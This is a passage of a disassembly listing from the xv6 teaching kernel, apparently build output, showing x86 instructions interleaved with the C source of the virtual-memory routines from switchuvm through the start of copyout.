(ushort) 0xFFFF; 8010716a: bf ff ff ff ff mov $0xffffffff,%edi mycpu()->gdt[SEG_TSS] = SEG16(STS_T32A, &mycpu()->ts, 8010716f: 83 c1 08 add $0x8,%ecx 80107172: c1 e8 18 shr $0x18,%eax 80107175: c1 e9 10 shr $0x10,%ecx 80107178: 88 83 9f 00 00 00 mov %al,0x9f(%ebx) 8010717e: 88 8b 9c 00 00 00 mov %cl,0x9c(%ebx) 80107184: b9 99 40 00 00 mov $0x4099,%ecx 80107189: 66 89 8b 9d 00 00 00 mov %cx,0x9d(%ebx) mycpu()->ts.ss0 = SEG_KDATA << 3; 80107190: bb 10 00 00 00 mov $0x10,%ebx mycpu()->gdt[SEG_TSS].s = 0; 80107195: e8 66 c7 ff ff call 80103900 <mycpu> 8010719a: 80 a0 9d 00 00 00 ef andb $0xef,0x9d(%eax) mycpu()->ts.ss0 = SEG_KDATA << 3; 801071a1: e8 5a c7 ff ff call 80103900 <mycpu> 801071a6: 66 89 58 10 mov %bx,0x10(%eax) mycpu()->ts.esp0 = (uint)p->kstack + KSTACKSIZE; 801071aa: 8b 5e 08 mov 0x8(%esi),%ebx 801071ad: 81 c3 00 10 00 00 add $0x1000,%ebx 801071b3: e8 48 c7 ff ff call 80103900 <mycpu> 801071b8: 89 58 0c mov %ebx,0xc(%eax) mycpu()->ts.iomb = (ushort) 0xFFFF; 801071bb: e8 40 c7 ff ff call 80103900 <mycpu> 801071c0: 66 89 78 6e mov %di,0x6e(%eax) asm volatile("ltr %0" : : "r" (sel)); 801071c4: b8 28 00 00 00 mov $0x28,%eax 801071c9: 0f 00 d8 ltr %ax lcr3(V2P(p->pgdir)); // switch to process's address space 801071cc: 8b 46 04 mov 0x4(%esi),%eax 801071cf: 05 00 00 00 80 add $0x80000000,%eax asm volatile("movl %0,%%cr3" : : "r" (val)); 801071d4: 0f 22 d8 mov %eax,%cr3 } 801071d7: 8d 65 f4 lea -0xc(%ebp),%esp 801071da: 5b pop %ebx 801071db: 5e pop %esi 801071dc: 5f pop %edi 801071dd: 5d pop %ebp popcli(); 801071de: e9 ad d8 ff ff jmp 80104a90 <popcli> panic("switchuvm: no process"); 801071e3: 83 ec 0c sub $0xc,%esp 801071e6: 68 ba 81 10 80 push $0x801081ba 801071eb: e8 a0 91 ff ff call 80100390 <panic> panic("switchuvm: no pgdir"); 801071f0: 83 ec 0c sub $0xc,%esp 801071f3: 68 e5 81 10 80 push $0x801081e5 801071f8: e8 93 91 ff ff call 80100390 <panic> panic("switchuvm: no kstack"); 801071fd: 83 ec 0c sub $0xc,%esp 80107200: 68 d0 81 10 80 push $0x801081d0 80107205: e8 86 91 ff ff call 80100390 <panic> 8010720a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80107210 <inituvm>: { 80107210: f3 0f 1e fb endbr32 80107214: 55 push %ebp 80107215: 89 e5 mov %esp,%ebp 80107217: 57 push %edi 80107218: 56 push %esi 80107219: 53 push %ebx 8010721a: 83 ec 1c sub $0x1c,%esp 8010721d: 8b 45 0c mov 0xc(%ebp),%eax 80107220: 8b 75 10 mov 0x10(%ebp),%esi 80107223: 8b 7d 08 mov 0x8(%ebp),%edi 80107226: 89 45 e4 mov %eax,-0x1c(%ebp) if(sz >= PGSIZE) 80107229: 81 fe ff 0f 00 00 cmp $0xfff,%esi 8010722f: 77 4b ja 8010727c <inituvm+0x6c> mem = kalloc(); 80107231: e8 fa b3 ff ff call 80102630 <kalloc> memset(mem, 0, PGSIZE); 80107236: 83 ec 04 sub $0x4,%esp 80107239: 68 00 10 00 00 push $0x1000 mem = kalloc(); 8010723e: 89 c3 mov %eax,%ebx memset(mem, 0, PGSIZE); 80107240: 6a 00 push $0x0 80107242: 50 push %eax 80107243: e8 08 da ff ff call 80104c50 <memset> mappages(pgdir, 0, PGSIZE, V2P(mem), PTE_W|PTE_U); 80107248: 58 pop %eax 80107249: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax 8010724f: 5a pop %edx 80107250: 6a 06 push $0x6 80107252: b9 00 10 00 00 mov $0x1000,%ecx 80107257: 31 d2 xor %edx,%edx 80107259: 50 push %eax 8010725a: 89 f8 mov %edi,%eax 8010725c: e8 af fc ff ff call 80106f10 <mappages> memmove(mem, init, sz); 80107261: 8b 45 e4 mov -0x1c(%ebp),%eax 80107264: 89 75 10 mov %esi,0x10(%ebp) 80107267: 83 c4 10 add $0x10,%esp 8010726a: 89 5d 08 mov %ebx,0x8(%ebp) 8010726d: 89 45 0c mov %eax,0xc(%ebp) } 80107270: 8d 65 f4 lea -0xc(%ebp),%esp 80107273: 5b pop %ebx 80107274: 5e pop %esi 80107275: 5f pop %edi 80107276: 5d pop %ebp memmove(mem, init, sz); 80107277: e9 74 da ff ff jmp 80104cf0 <memmove> panic("inituvm: more than a page"); 8010727c: 83 ec 0c sub $0xc,%esp 8010727f: 68 f9 81 10 80 push $0x801081f9 80107284: e8 07 91 ff ff call 80100390 <panic> 80107289: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80107290 <loaduvm>: { 80107290: f3 0f 1e fb endbr32 80107294: 55 push %ebp 80107295: 89 e5 mov %esp,%ebp 80107297: 57 push %edi 80107298: 56 push %esi 80107299: 53 push %ebx 8010729a: 83 ec 1c sub $0x1c,%esp 8010729d: 8b 45 0c mov 0xc(%ebp),%eax 801072a0: 8b 75 18 mov 0x18(%ebp),%esi if((uint) addr % PGSIZE != 0) 801072a3: a9 ff 0f 00 00 test $0xfff,%eax 801072a8: 0f 85 99 00 00 00 jne 80107347 <loaduvm+0xb7> for(i = 0; i < sz; i += PGSIZE){ 801072ae: 01 f0 add %esi,%eax 801072b0: 89 f3 mov %esi,%ebx 801072b2: 89 45 e4 mov %eax,-0x1c(%ebp) if(readi(ip, P2V(pa), offset+i, n) != n) 801072b5: 8b 45 14 mov 0x14(%ebp),%eax 801072b8: 01 f0 add %esi,%eax 801072ba: 89 45 e0 mov %eax,-0x20(%ebp) for(i = 0; i < sz; i += PGSIZE){ 801072bd: 85 f6 test %esi,%esi 801072bf: 75 15 jne 801072d6 <loaduvm+0x46> 801072c1: eb 6d jmp 80107330 <loaduvm+0xa0> 801072c3: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801072c7: 90 nop 801072c8: 81 eb 00 10 00 00 sub $0x1000,%ebx 801072ce: 89 f0 mov %esi,%eax 801072d0: 29 d8 sub %ebx,%eax 801072d2: 39 c6 cmp %eax,%esi 801072d4: 76 5a jbe 80107330 <loaduvm+0xa0> if((pte = walkpgdir(pgdir, addr+i, 0)) == 0) 801072d6: 8b 55 e4 mov -0x1c(%ebp),%edx 801072d9: 8b 45 08 mov 0x8(%ebp),%eax 801072dc: 31 c9 xor %ecx,%ecx 801072de: 29 da sub %ebx,%edx 801072e0: e8 ab fb ff ff call 80106e90 <walkpgdir> 801072e5: 85 c0 test %eax,%eax 801072e7: 74 51 je 8010733a <loaduvm+0xaa> pa = PTE_ADDR(*pte); 801072e9: 8b 00 mov (%eax),%eax if(readi(ip, P2V(pa), offset+i, n) != n) 801072eb: 8b 4d e0 mov -0x20(%ebp),%ecx if(sz - i < PGSIZE) 801072ee: bf 00 10 00 00 mov $0x1000,%edi pa = PTE_ADDR(*pte); 801072f3: 25 00 f0 ff ff and $0xfffff000,%eax if(sz - i < PGSIZE) 801072f8: 81 fb ff 0f 00 00 cmp $0xfff,%ebx 801072fe: 0f 46 fb cmovbe %ebx,%edi if(readi(ip, P2V(pa), offset+i, n) != n) 80107301: 29 d9 sub %ebx,%ecx 80107303: 05 00 00 00 80 add $0x80000000,%eax 80107308: 57 push %edi 80107309: 51 push %ecx 8010730a: 50 push %eax 8010730b: ff 75 10 pushl 0x10(%ebp) 8010730e: e8 4d a7 ff ff call 80101a60 <readi> 80107313: 83 c4 10 add $0x10,%esp 80107316: 39 f8 cmp %edi,%eax 80107318: 74 ae je 801072c8 <loaduvm+0x38> } 8010731a: 8d 65 f4 lea -0xc(%ebp),%esp return -1; 8010731d: b8 ff ff ff ff mov $0xffffffff,%eax } 80107322: 5b pop %ebx 80107323: 5e pop %esi 80107324: 5f pop %edi 80107325: 5d pop %ebp 80107326: c3 ret 80107327: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 8010732e: 66 90 xchg %ax,%ax 80107330: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 80107333: 31 c0 xor %eax,%eax } 80107335: 5b pop %ebx 80107336: 5e pop %esi 80107337: 5f pop %edi 80107338: 5d pop %ebp 80107339: c3 ret panic("loaduvm: address should exist"); 8010733a: 83 ec 0c sub $0xc,%esp 8010733d: 68 13 82 10 80 push $0x80108213 80107342: e8 49 90 ff ff call 80100390 <panic> panic("loaduvm: addr must be page aligned"); 80107347: 83 ec 0c sub $0xc,%esp 8010734a: 68 b4 82 10 80 push $0x801082b4 8010734f: e8 3c 90 ff ff call 80100390 <panic> 80107354: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 8010735b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 8010735f: 90 nop 80107360 <allocuvm>: { 80107360: f3 0f 1e fb endbr32 80107364: 55 push %ebp 80107365: 89 e5 mov %esp,%ebp 80107367: 57 push %edi 80107368: 56 push %esi 80107369: 53 push %ebx 8010736a: 83 ec 1c sub $0x1c,%esp if(newsz >= KERNBASE) 8010736d: 8b 45 10 mov 0x10(%ebp),%eax { 80107370: 8b 7d 08 mov 0x8(%ebp),%edi if(newsz >= KERNBASE) 80107373: 89 45 e4 mov %eax,-0x1c(%ebp) 80107376: 85 c0 test %eax,%eax 80107378: 0f 88 b2 00 00 00 js 80107430 <allocuvm+0xd0> if(newsz < oldsz) 8010737e: 3b 45 0c cmp 0xc(%ebp),%eax return oldsz; 80107381: 8b 45 0c mov 0xc(%ebp),%eax if(newsz < oldsz) 80107384: 0f 82 96 00 00 00 jb 80107420 <allocuvm+0xc0> a = PGROUNDUP(oldsz); 8010738a: 8d b0 ff 0f 00 00 lea 0xfff(%eax),%esi 80107390: 81 e6 00 f0 ff ff and $0xfffff000,%esi for(; a < newsz; a += PGSIZE){ 80107396: 39 75 10 cmp %esi,0x10(%ebp) 80107399: 77 40 ja 801073db <allocuvm+0x7b> 8010739b: e9 83 00 00 00 jmp 80107423 <allocuvm+0xc3> memset(mem, 0, PGSIZE); 801073a0: 83 ec 04 sub $0x4,%esp 801073a3: 68 00 10 00 00 push $0x1000 801073a8: 6a 00 push $0x0 801073aa: 50 push %eax 801073ab: e8 a0 d8 ff ff call 80104c50 <memset> if(mappages(pgdir, (char*)a, PGSIZE, V2P(mem), PTE_W|PTE_U) < 0){ 801073b0: 58 pop %eax 801073b1: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax 801073b7: 5a pop %edx 801073b8: 6a 06 push $0x6 801073ba: b9 00 10 00 00 mov $0x1000,%ecx 801073bf: 89 f2 mov %esi,%edx 801073c1: 50 push %eax 801073c2: 89 f8 mov %edi,%eax 801073c4: e8 47 fb ff ff call 80106f10 <mappages> 801073c9: 83 c4 10 add $0x10,%esp 801073cc: 85 c0 test %eax,%eax 801073ce: 78 78 js 80107448 <allocuvm+0xe8> for(; a < newsz; a += PGSIZE){ 801073d0: 81 c6 00 10 00 00 add $0x1000,%esi 801073d6: 39 75 10 cmp %esi,0x10(%ebp) 801073d9: 76 48 jbe 80107423 <allocuvm+0xc3> mem = kalloc(); 801073db: e8 50 b2 ff ff call 80102630 <kalloc> 801073e0: 89 c3 mov %eax,%ebx if(mem == 0){ 801073e2: 85 c0 test %eax,%eax 801073e4: 75 ba jne 801073a0 <allocuvm+0x40> cprintf("allocuvm out of memory\n"); 801073e6: 83 ec 0c sub $0xc,%esp 801073e9: 68 31 82 10 80 push $0x80108231 801073ee: e8 bd 92 ff ff call 801006b0 <cprintf> if(newsz >= oldsz) 801073f3: 8b 45 0c mov 0xc(%ebp),%eax 801073f6: 83 c4 10 add $0x10,%esp 801073f9: 39 45 10 cmp %eax,0x10(%ebp) 801073fc: 74 32 je 80107430 <allocuvm+0xd0> 801073fe: 8b 55 10 mov 0x10(%ebp),%edx 80107401: 89 c1 mov %eax,%ecx 80107403: 89 f8 mov %edi,%eax 80107405: e8 96 fb ff ff call 80106fa0 <deallocuvm.part.0> return 0; 8010740a: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp) } 80107411: 8b 45 e4 mov -0x1c(%ebp),%eax 80107414: 8d 65 f4 lea -0xc(%ebp),%esp 80107417: 5b pop %ebx 80107418: 5e pop %esi 80107419: 5f pop %edi 8010741a: 5d pop %ebp 8010741b: c3 ret 8010741c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return oldsz; 80107420: 89 45 e4 mov %eax,-0x1c(%ebp) } 80107423: 8b 45 e4 mov -0x1c(%ebp),%eax 80107426: 8d 65 f4 lea -0xc(%ebp),%esp 80107429: 5b pop %ebx 8010742a: 5e pop %esi 8010742b: 5f pop %edi 8010742c: 5d pop %ebp 8010742d: c3 ret 8010742e: 66 90 xchg %ax,%ax return 0; 80107430: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp) } 80107437: 8b 45 e4 mov -0x1c(%ebp),%eax 8010743a: 8d 65 f4 lea -0xc(%ebp),%esp 8010743d: 5b pop %ebx 8010743e: 5e pop %esi 8010743f: 5f pop %edi 80107440: 5d pop %ebp 80107441: c3 ret 80107442: 8d b6 00 00 00 00 lea 0x0(%esi),%esi cprintf("allocuvm out of memory (2)\n"); 80107448: 83 ec 0c sub $0xc,%esp 8010744b: 68 49 82 10 80 push $0x80108249 80107450: e8 5b 92 ff ff call 801006b0 <cprintf> if(newsz >= oldsz) 80107455: 8b 45 0c mov 0xc(%ebp),%eax 80107458: 83 c4 10 add $0x10,%esp 8010745b: 39 45 10 cmp %eax,0x10(%ebp) 8010745e: 74 0c je 8010746c <allocuvm+0x10c> 80107460: 8b 55 10 mov 0x10(%ebp),%edx 80107463: 89 c1 mov %eax,%ecx 80107465: 89 f8 mov %edi,%eax 80107467: e8 34 fb ff ff call 80106fa0 <deallocuvm.part.0> kfree(mem); 8010746c: 83 ec 0c sub $0xc,%esp 8010746f: 53 push %ebx 80107470: e8 fb af ff ff call 80102470 <kfree> return 0; 80107475: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp) 8010747c: 83 c4 10 add $0x10,%esp } 8010747f: 8b 45 e4 mov -0x1c(%ebp),%eax 80107482: 8d 65 f4 lea -0xc(%ebp),%esp 80107485: 5b pop %ebx 80107486: 5e pop %esi 80107487: 5f pop %edi 80107488: 5d pop %ebp 80107489: c3 ret 8010748a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80107490 <deallocuvm>: { 80107490: f3 0f 1e fb endbr32 80107494: 55 push %ebp 80107495: 89 e5 mov %esp,%ebp 80107497: 8b 55 0c mov 0xc(%ebp),%edx 8010749a: 8b 4d 10 mov 0x10(%ebp),%ecx 8010749d: 8b 45 08 mov 0x8(%ebp),%eax if(newsz >= oldsz) 801074a0: 39 d1 cmp %edx,%ecx 801074a2: 73 0c jae 801074b0 <deallocuvm+0x20> } 801074a4: 5d pop %ebp 801074a5: e9 f6 fa ff ff jmp 80106fa0 <deallocuvm.part.0> 801074aa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801074b0: 89 d0 mov %edx,%eax 801074b2: 5d pop %ebp 801074b3: c3 ret 801074b4: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801074bb: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801074bf: 90 nop 801074c0 <freevm>: // Free a page table and all the physical memory pages // in the user part. void freevm(pde_t *pgdir) { 801074c0: f3 0f 1e fb endbr32 801074c4: 55 push %ebp 801074c5: 89 e5 mov %esp,%ebp 801074c7: 57 push %edi 801074c8: 56 push %esi 801074c9: 53 push %ebx 801074ca: 83 ec 0c sub $0xc,%esp 801074cd: 8b 75 08 mov 0x8(%ebp),%esi uint i; if(pgdir == 0) 801074d0: 85 f6 test %esi,%esi 801074d2: 74 55 je 80107529 <freevm+0x69> if(newsz >= oldsz) 801074d4: 31 c9 xor %ecx,%ecx 801074d6: ba 00 00 00 80 mov $0x80000000,%edx 801074db: 89 f0 mov %esi,%eax 801074dd: 89 f3 mov %esi,%ebx 801074df: e8 bc fa ff ff call 80106fa0 <deallocuvm.part.0> panic("freevm: no pgdir"); deallocuvm(pgdir, KERNBASE, 0); for(i = 0; i < NPDENTRIES; i++){ 801074e4: 8d be 00 10 00 00 lea 0x1000(%esi),%edi 801074ea: eb 0b jmp 801074f7 <freevm+0x37> 801074ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801074f0: 83 c3 04 add $0x4,%ebx 801074f3: 39 df cmp %ebx,%edi 801074f5: 74 23 je 8010751a <freevm+0x5a> if(pgdir[i] & PTE_P){ 801074f7: 8b 03 mov (%ebx),%eax 801074f9: a8 01 test $0x1,%al 801074fb: 74 f3 je 801074f0 <freevm+0x30> char * v = P2V(PTE_ADDR(pgdir[i])); 801074fd: 25 00 f0 ff ff and $0xfffff000,%eax kfree(v); 80107502: 83 ec 0c sub $0xc,%esp 80107505: 83 c3 04 add $0x4,%ebx char * v = P2V(PTE_ADDR(pgdir[i])); 80107508: 05 00 00 00 80 add $0x80000000,%eax kfree(v); 8010750d: 50 push %eax 8010750e: e8 5d af ff ff call 80102470 <kfree> 80107513: 83 c4 10 add $0x10,%esp for(i = 0; i < NPDENTRIES; i++){ 80107516: 39 df cmp %ebx,%edi 80107518: 75 dd jne 801074f7 <freevm+0x37> } } kfree((char*)pgdir); 8010751a: 89 75 08 mov %esi,0x8(%ebp) } 8010751d: 8d 65 f4 lea -0xc(%ebp),%esp 80107520: 5b pop %ebx 80107521: 5e pop %esi 80107522: 5f pop %edi 80107523: 5d pop %ebp kfree((char*)pgdir); 80107524: e9 47 af ff ff jmp 80102470 <kfree> panic("freevm: no pgdir"); 80107529: 83 ec 0c sub $0xc,%esp 8010752c: 68 65 82 10 80 push $0x80108265 80107531: e8 5a 8e ff ff call 80100390 <panic> 80107536: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 8010753d: 8d 76 00 lea 0x0(%esi),%esi 80107540 <setupkvm>: { 80107540: f3 0f 1e fb endbr32 80107544: 55 push %ebp 80107545: 89 e5 mov %esp,%ebp 80107547: 56 push %esi 80107548: 53 push %ebx if((pgdir = (pde_t*)kalloc()) == 0) 80107549: e8 e2 b0 ff ff call 80102630 <kalloc> 8010754e: 89 c6 mov %eax,%esi 80107550: 85 c0 test %eax,%eax 80107552: 74 42 je 80107596 <setupkvm+0x56> memset(pgdir, 0, PGSIZE); 80107554: 83 ec 04 sub $0x4,%esp for(k = kmap; k < &kmap[NELEM(kmap)]; k++) 80107557: bb 20 b4 10 80 mov $0x8010b420,%ebx memset(pgdir, 0, PGSIZE); 8010755c: 68 00 10 00 00 push $0x1000 80107561: 6a 00 push $0x0 80107563: 50 push %eax 80107564: e8 e7 d6 ff ff call 80104c50 <memset> 80107569: 83 c4 10 add $0x10,%esp (uint)k->phys_start, k->perm) < 0) { 8010756c: 8b 43 04 mov 0x4(%ebx),%eax if(mappages(pgdir, k->virt, k->phys_end - k->phys_start, 8010756f: 83 ec 08 sub $0x8,%esp 80107572: 8b 4b 08 mov 0x8(%ebx),%ecx 80107575: ff 73 0c pushl 0xc(%ebx) 80107578: 8b 13 mov (%ebx),%edx 8010757a: 50 push %eax 8010757b: 29 c1 sub %eax,%ecx 8010757d: 89 f0 mov %esi,%eax 8010757f: e8 8c f9 ff ff call 80106f10 <mappages> 80107584: 83 c4 10 add $0x10,%esp 80107587: 85 c0 test %eax,%eax 80107589: 78 15 js 801075a0 <setupkvm+0x60> for(k = kmap; k < &kmap[NELEM(kmap)]; k++) 8010758b: 83 c3 10 add $0x10,%ebx 8010758e: 81 fb 60 b4 10 80 cmp $0x8010b460,%ebx 80107594: 75 d6 jne 8010756c <setupkvm+0x2c> } 80107596: 8d 65 f8 lea -0x8(%ebp),%esp 80107599: 89 f0 mov %esi,%eax 8010759b: 5b pop %ebx 8010759c: 5e pop %esi 8010759d: 5d pop %ebp 8010759e: c3 ret 8010759f: 90 nop freevm(pgdir); 801075a0: 83 ec 0c sub $0xc,%esp 801075a3: 56 push %esi return 0; 801075a4: 31 f6 xor %esi,%esi freevm(pgdir); 801075a6: e8 15 ff ff ff call 801074c0 <freevm> return 0; 801075ab: 83 c4 10 add $0x10,%esp } 801075ae: 8d 65 f8 lea -0x8(%ebp),%esp 801075b1: 89 f0 mov %esi,%eax 801075b3: 5b pop %ebx 801075b4: 5e pop %esi 801075b5: 5d pop %ebp 801075b6: c3 ret 801075b7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801075be: 66 90 xchg %ax,%ax 801075c0 <kvmalloc>: { 801075c0: f3 0f 1e fb endbr32 801075c4: 55 push %ebp 801075c5: 89 e5 mov %esp,%ebp 801075c7: 83 ec 08 sub $0x8,%esp kpgdir = setupkvm(); 801075ca: e8 71 ff ff ff call 80107540 <setupkvm> 801075cf: a3 c4 77 11 80 mov %eax,0x801177c4 lcr3(V2P(kpgdir)); // switch to the kernel page table 801075d4: 05 00 00 00 80 add $0x80000000,%eax 801075d9: 0f 22 d8 mov %eax,%cr3 } 801075dc: c9 leave 801075dd: c3 ret 801075de: 66 90 xchg %ax,%ax 801075e0 <clearpteu>: // Clear PTE_U on a page. Used to create an inaccessible // page beneath the user stack. void clearpteu(pde_t *pgdir, char *uva) { 801075e0: f3 0f 1e fb endbr32 801075e4: 55 push %ebp pte_t *pte; pte = walkpgdir(pgdir, uva, 0); 801075e5: 31 c9 xor %ecx,%ecx { 801075e7: 89 e5 mov %esp,%ebp 801075e9: 83 ec 08 sub $0x8,%esp pte = walkpgdir(pgdir, uva, 0); 801075ec: 8b 55 0c mov 0xc(%ebp),%edx 801075ef: 8b 45 08 mov 0x8(%ebp),%eax 801075f2: e8 99 f8 ff ff call 80106e90 <walkpgdir> if(pte == 0) 801075f7: 85 c0 test %eax,%eax 801075f9: 74 05 je 80107600 <clearpteu+0x20> panic("clearpteu"); *pte &= ~PTE_U; 801075fb: 83 20 fb andl $0xfffffffb,(%eax) } 801075fe: c9 leave 801075ff: c3 ret panic("clearpteu"); 80107600: 83 ec 0c sub $0xc,%esp 80107603: 68 76 82 10 80 push $0x80108276 80107608: e8 83 8d ff ff call 80100390 <panic> 8010760d: 8d 76 00 lea 0x0(%esi),%esi 80107610 <copyuvm>: // Given a parent process's page table, create a copy // of it for a child. pde_t* copyuvm(pde_t *pgdir, uint sz) { 80107610: f3 0f 1e fb endbr32 80107614: 55 push %ebp 80107615: 89 e5 mov %esp,%ebp 80107617: 57 push %edi 80107618: 56 push %esi 80107619: 53 push %ebx 8010761a: 83 ec 1c sub $0x1c,%esp pde_t *d; pte_t *pte; uint pa, i, flags; char *mem; if((d = setupkvm()) == 0) 8010761d: e8 1e ff ff ff call 80107540 <setupkvm> 80107622: 89 45 e0 mov %eax,-0x20(%ebp) 80107625: 85 c0 test %eax,%eax 80107627: 0f 84 9b 00 00 00 je 801076c8 <copyuvm+0xb8> return 0; for(i = 0; i < sz; i += PGSIZE){ 8010762d: 8b 4d 0c mov 0xc(%ebp),%ecx 80107630: 85 c9 test %ecx,%ecx 80107632: 0f 84 90 00 00 00 je 801076c8 <copyuvm+0xb8> 80107638: 31 f6 xor %esi,%esi 8010763a: eb 46 jmp 80107682 <copyuvm+0x72> 8010763c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi panic("copyuvm: page not present"); pa = PTE_ADDR(*pte); flags = PTE_FLAGS(*pte); if((mem = kalloc()) == 0) goto bad; memmove(mem, (char*)P2V(pa), PGSIZE); 80107640: 83 ec 04 sub $0x4,%esp 80107643: 81 c7 00 00 00 80 add $0x80000000,%edi 80107649: 68 00 10 00 00 push $0x1000 8010764e: 57 push %edi 8010764f: 50 push %eax 80107650: e8 9b d6 ff ff call 80104cf0 <memmove> if(mappages(d, (void*)i, PGSIZE, V2P(mem), flags) < 0) { 80107655: 58 pop %eax 80107656: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax 8010765c: 5a pop %edx 8010765d: ff 75 e4 pushl -0x1c(%ebp) 80107660: b9 00 10 00 00 mov $0x1000,%ecx 80107665: 89 f2 mov %esi,%edx 80107667: 50 push %eax 80107668: 8b 45 e0 mov -0x20(%ebp),%eax 8010766b: e8 a0 f8 ff ff call 80106f10 <mappages> 80107670: 83 c4 10 add $0x10,%esp 80107673: 85 c0 test %eax,%eax 80107675: 78 61 js 801076d8 <copyuvm+0xc8> for(i = 0; i < sz; i += PGSIZE){ 80107677: 81 c6 00 10 00 00 add $0x1000,%esi 8010767d: 39 75 0c cmp %esi,0xc(%ebp) 80107680: 76 46 jbe 801076c8 <copyuvm+0xb8> if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0) 80107682: 8b 45 08 mov 0x8(%ebp),%eax 80107685: 31 c9 xor %ecx,%ecx 80107687: 89 f2 mov %esi,%edx 80107689: e8 02 f8 ff ff call 80106e90 <walkpgdir> 8010768e: 85 c0 test %eax,%eax 80107690: 74 61 je 801076f3 <copyuvm+0xe3> if(!(*pte & PTE_P)) 80107692: 8b 00 mov (%eax),%eax 80107694: a8 01 test $0x1,%al 80107696: 74 4e je 801076e6 <copyuvm+0xd6> pa = PTE_ADDR(*pte); 80107698: 89 c7 mov %eax,%edi flags = PTE_FLAGS(*pte); 8010769a: 25 ff 0f 00 00 and $0xfff,%eax 8010769f: 89 45 e4 mov %eax,-0x1c(%ebp) pa = PTE_ADDR(*pte); 801076a2: 81 e7 00 f0 ff ff and $0xfffff000,%edi if((mem = kalloc()) == 0) 801076a8: e8 83 af ff ff call 80102630 <kalloc> 801076ad: 89 c3 mov %eax,%ebx 801076af: 85 c0 test %eax,%eax 801076b1: 75 8d jne 80107640 <copyuvm+0x30> } } return d; bad: freevm(d); 801076b3: 83 ec 0c sub $0xc,%esp 801076b6: ff 75 e0 pushl -0x20(%ebp) 801076b9: e8 02 fe ff ff call 801074c0 <freevm> return 0; 801076be: c7 45 e0 00 00 00 00 movl $0x0,-0x20(%ebp) 801076c5: 83 c4 10 add $0x10,%esp } 801076c8: 8b 45 e0 mov -0x20(%ebp),%eax 801076cb: 8d 65 f4 lea -0xc(%ebp),%esp 801076ce: 5b pop %ebx 801076cf: 5e pop %esi 801076d0: 5f pop %edi 801076d1: 5d pop %ebp 801076d2: c3 ret 801076d3: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801076d7: 90 nop kfree(mem); 801076d8: 83 ec 0c sub $0xc,%esp 801076db: 53 push %ebx 801076dc: e8 8f ad ff ff call 80102470 <kfree> goto bad; 801076e1: 83 c4 10 add $0x10,%esp 801076e4: eb cd jmp 801076b3 <copyuvm+0xa3> panic("copyuvm: page not present"); 801076e6: 83 ec 0c sub $0xc,%esp 801076e9: 68 9a 82 10 80 push $0x8010829a 801076ee: e8 9d 8c ff ff call 80100390 <panic> panic("copyuvm: pte should exist"); 801076f3: 83 ec 0c sub $0xc,%esp 801076f6: 68 80 82 10 80 push $0x80108280 801076fb: e8 90 8c ff ff call 80100390 <panic> 80107700 <uva2ka>: //PAGEBREAK! // Map user virtual address to kernel address. char* uva2ka(pde_t *pgdir, char *uva) { 80107700: f3 0f 1e fb endbr32 80107704: 55 push %ebp pte_t *pte; pte = walkpgdir(pgdir, uva, 0); 80107705: 31 c9 xor %ecx,%ecx { 80107707: 89 e5 mov %esp,%ebp 80107709: 83 ec 08 sub $0x8,%esp pte = walkpgdir(pgdir, uva, 0); 8010770c: 8b 55 0c mov 0xc(%ebp),%edx 8010770f: 8b 45 08 mov 0x8(%ebp),%eax 80107712: e8 79 f7 ff ff call 80106e90 <walkpgdir> if((*pte & PTE_P) == 0) 80107717: 8b 00 mov (%eax),%eax return 0; if((*pte & PTE_U) == 0) return 0; return (char*)P2V(PTE_ADDR(*pte)); } 80107719: c9 leave if((*pte & PTE_U) == 0) 8010771a: 89 c2 mov %eax,%edx return (char*)P2V(PTE_ADDR(*pte)); 8010771c: 25 00 f0 ff ff and $0xfffff000,%eax if((*pte & PTE_U) == 0) 80107721: 83 e2 05 and $0x5,%edx return (char*)P2V(PTE_ADDR(*pte)); 80107724: 05 00 00 00 80 add $0x80000000,%eax 80107729: 83 fa 05 cmp $0x5,%edx 8010772c: ba 00 00 00 00 mov $0x0,%edx 80107731: 0f 45 c2 cmovne %edx,%eax } 80107734: c3 ret 80107735: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 8010773c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80107740 <copyout>: // Copy len bytes from p to user address va in page table pgdir. // Most useful when pgdir is not the current page table. // uva2ka ensures this only works for PTE_U pages. int copyout(pde_t *pgdir, uint va, void *p, uint len) { 80107740: f3 0f 1e fb endbr32 80107744: 55 push %ebp 80107745: 89 e5 mov %esp,%ebp 80107747: 57 push %edi 80107748: 56 push %esi 80107749: 53 push %ebx 8010774a: 83 ec 0c sub $0xc,%esp 8010774d: 8b 75 14 mov 0x14(%ebp),%esi 80107750: 8b 55 0c mov 0xc(%ebp),%edx char *buf, *pa0; uint n, va0; buf = (char*)p; while(len > 0){ 80107753: 85 f6 test %esi,%esi 80107755: 75 3c jne 80107793 <copyout+0x53> 80107757: eb 67 jmp 801077c0 <copyout+0x80> 80107759: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi va0 = (uint)PGROUNDDOWN(va); pa0 = uva2ka(pgdir, (char*)va0); if(pa0 == 0) return -1; n = PGSIZE - (va - va0); 80107760: 8b 55 0c mov 